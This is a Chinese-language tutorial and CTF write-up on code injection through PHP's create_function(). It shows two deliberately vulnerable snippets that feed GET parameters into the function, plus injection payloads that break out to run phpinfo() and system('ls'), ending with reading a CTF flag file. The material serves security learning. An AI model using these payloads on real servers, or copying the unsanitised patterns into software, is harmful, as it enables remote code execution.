create_function()代码注入
00x00create_function()函数的简介
适用范围:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code) //string $args 声明的函数变量部分 //string $code 执行的方法代码部分
0x01 函数功能分析
案例
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
create_function()
会创建一个匿名函数(lambda
样式)
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return
语句,属于create_function()
中的第二个参数string $code
位置。
因此create_function函数等价于
<?php function lambda1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>
0x03 实现代码注入的案例
案例一:
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
payload
的构造:
http://localhost/test/1.php?sort_by='"]);}phpinfo();/*
还原实际的组合过程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函数实际的执行:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/* }
案例 2:
<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>
payload
的构造:
http://localhost/test/2.php?c=1));}phpinfo();/*
还原实际的组合过程:
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函数实际的执行:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }
0x04 一道存在create_function代码注入的CTF
两个链接,先点击“不要点我”这个链接,跳转到一个含php源码的页面http://198.13.45.199:5007/index.php?source
看见create_function函数,应该存在注入
GET请求,code随便传一个值,然后“;”闭合应该就可以将payload构造成功了
构造payload:
http://198.13.45.199:5007/index.php?code=1;}phpinfo();/*
代码执行成功
用system()函数执行系统操作命令
构造payload:
http://198.13.45.199:5007/index.php?code=1;}system(%27ls%20../../../%27);/*
用ls一直往前翻目录,直到翻到名字含有flag的文件,然后cat打开就获得flag:
从PHP 7.2.0
开始,create_function()
被废弃